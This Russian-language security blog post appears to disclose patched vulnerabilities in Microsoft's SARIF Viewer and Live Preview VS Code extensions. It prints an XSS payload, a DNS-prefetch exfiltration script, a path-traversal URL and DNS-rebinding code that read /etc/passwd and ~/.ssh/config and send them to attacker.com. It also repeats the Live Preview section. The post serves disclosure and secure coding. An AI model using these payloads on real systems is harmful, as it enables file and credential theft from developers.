Многие привыкли считать, что VS Code — это просто текстовый редактор. Но «под капотом» у нас старый добрый Electron со всеми вытекающими. Если расширение имеет доступ к файловой системе, а вы открываете в нём кривой файл поздравляю, вы в зоне риска

Я решил покопаться в безопаснности популярных расширений от самой Microsoft: SARIF Viewer и Live Preview. Спойлер: удалось найти обход защиты (CVE-2022-41042) и вытащить локальные файлы через... DNS-запросы.

Webviews: Песочница, которая иногда протекает

VS Code использует Webviews для отрисовки сложного UI. Это такие изолированные iframe, которые по задумке не должны иметь доступа к NodeJS API. Но расширения часто общаются с ними через postMessage(). Если разработчик накосячил с настройками localResourceRoots или CSP (Content Security Policy) — пиши пропало.

Вот как выглядит «типичное» создание такой панели (с комментариями на человеческом):

// 1) Создаем панель
const panel = vscode.window.createWebviewPanel(
    'simpleWebview', 
    'Привет, Хабр!', 
    vscode.ViewColumn.One,
    {
        // Разрешаем выполнение JS (почти все так делают)
        enableScripts: true,
        // Ограничиваем доступ к файлам только папкой расширения
        // Но что, если здесь указать корень диска? (см. ниже)
        localResourceRoots: [this._extensionUri]
    }
);

// 2) Вешаем CSP для защиты от XSS
const nonce = getNonce();
panel.webview.html = `
    <!DOCTYPE html>
    <meta http-equiv="Content-Security-Policy" 
          content="default-src 'none'; script-src 'nonce-${nonce}';">
    <script nonce="${nonce}">
        // 3) Общаемся с основным расширением
        const vscode = acquireVsCodeApi();
        vscode.postMessage({ command: 'alert', text: 'Хацкер детектед' });
    </script>
`;

Кейс №1: SARIF Viewer и «прозрачный» Markdown

Расширение SARIF Viewer помогает смотреть результаты статического анализа кода. Проблема нашлась в компоненте ReactMarkdown, где разработчики забыли включить экранирование HTML.

Сценарий: Вы скачиваете лог анализа из интернета, открываете его, и...

Эксплойт в JSON-файле:

{
  "message": {
    "text": "Ничего подозрительного, просто текст...",
    "markdown": "<h1>Начало атаки</h1><img src=x onerror=\"console.log('XSS сработал')\">"
  }
}

Поскольку escapeHtml был выставлен в false, наш <img> бодро исполняет JS прямо внутри окна VS Code.

Как украсть файлы, если CSP против нас?

Тут начинается самое веселое. У расширенитя был очень странный localResourceRoots, разрешающий доступ ко всем дискам (от A:/ до Z:/). Но CSP запрещал отправлять данные на внешние серверы через fetch.

Решение: DNS Exfiltration.
Мы можем стучаться на свой сервер через DNS-префетч. Содержимое файла кодируем в hex и пихаем в поддомен.

// Код внутри Webview для кражи приватного ключа
(async () => {
    // 1. Читаем файл через внутренний ресурс VS Code
    const response = await fetch('https://file+.vscode-resource.vscode-cdn.net/etc/issue');
    const content = await response.text();
    
    // 2. Кодируем в HEX
    const hex = content.split('').map(c => c.charCodeAt(0).toString(16)).join('');
    
    // 3. Отправляем кусками через DNS-запросы
    const chunk = hex.substring(0, 60); 
    const link = document.createElement('link');
    link.rel = 'dns-prefetch';
    link.href = `//${chunk}.attacker.com`;
    document.body.appendChild(link);
    // Профит! Смотрим логи своего DNS-сервера.
})();Кейс №2: Live Preview и магия путей
Расширение Live Preview (1 млн+ установок) запускает локальный сервер на порту 3000. Я нашел там классический Path Traversal, но с изюминкой в парсинге URL.
Браузер и сервер по-разному смотрели на символ ?.
Браузер: считает всё после первого ? строкой запроса (параметрами).
Сервер Microsoft: искал символ ? с конца строки (lastIndexOf).
Сценарий эксплуатации через разницу парсеров:
Если мы запросим такой URL:
http://127.0.0.1:3000/?../../../../etc/passwd?AAA
Браузер не будет нормализовать путь (для него это один большой параметр), а сервер отсечет ?AAA, увидит точки и радостно отдаст нам /etc/passwd.

Кейс №2: Live Preview и магия путей

Расширение Live Preview (1 млн+ установок) запускает локальный сервер на порту 3000. Я нашел там классический Path Traversal, но с изюминкой в парсинге URL.

Браузер и сервер по-разному смотрели на символ ?.

  • Браузер: считает всё после первого ? строкой запроса (параметрами).

  • Сервер Microsoft: искал символ ? с конца строки (lastIndexOf).

Сценарий эксплуатации через разницу парсеров:

Если мы запросим такой URL:
http://127.0.0.1:3000/?../../../../etc/passwd?AAA

Браузер не будет нормализовать путь (для него это один большой параметр), а сервер отсечет ?AAA, увидит точки и радостно отдаст нам /etc/passwd.

// Простой скрипт для кражи паролей через Live Preview
async function steal() {
    const target = "http://127.0.0.1:3000/?../../../../../../etc/passwd?";
    const res = await fetch(target);
    const data = await res.text();
    
    // Отправляем награбленное себе
    fetch("http://attacker.com/collect?data=" + btoa(data));
}
steal();

Кейс №3: DNS Rebinding (Уровень: Паранойя)

Что если жертва не открывает ваш вредоносный файл, а просто зашла на ваш сайт, пока VS Code открыт в фоне?
Используем DNS Rebinding. Мы заставляем браузер думать, что наш домен evil.com внезапно стал указывать на 127.0.0.1.

  1. Жертва заходит на наш сайт.

  2. Мы отдаем скрипт, который бесконечно стучится на наш же домен.

  3. Через минуту меняем IP нашего домена в DNS на 127.0.0.1.

  4. Браузер исполняет скрипт, дума, что это всё тот же сайт, но на самом деле он уже читает файлы с локального сервера Live Preview.

// Скрипт для DNS Rebinding атаки
async function exploit() {
    let success = false;
    while (!success) {
        try {
            // Пытаемся прочитать конфиг через наш домен, 
            // который скоро станет указывать на localhost
            const res = await fetch("/AAA?../../../../.ssh/config?");
            const secret = await res.text();
            
            fetch("http://attacker.com/log?key=" + btoa(secret));
            success = true;
        } catch (e) {
            // Ждем 500мс и пробуем снова, пока DNS не обновится
            await new Promise(r => setTimeout(r, 500));
        }
    }
}
exploit();

Как не стать героем следующего аудита?

Если вы пишете расширение, вот вам три «золотых» правила:

  1. Забудьте про .innerHTML. Используйте .innerText или нормальные шаблонизаторы.

  2. CSP — это не формальность. Начинайте с default-src 'none' и открывайте только то, без чего реально нельзя жить.

  3. Парсите URL правильно. Никогда не пишите свои регулярки или поиски через indexOf для путей. Используйте встроенный класс URL.

Microsoft оперативно закрыла эти дыры (и выплатила $7500 за одну из них), но сколько еще таких расширений висит в Marketplace — одному Гейтсу известно.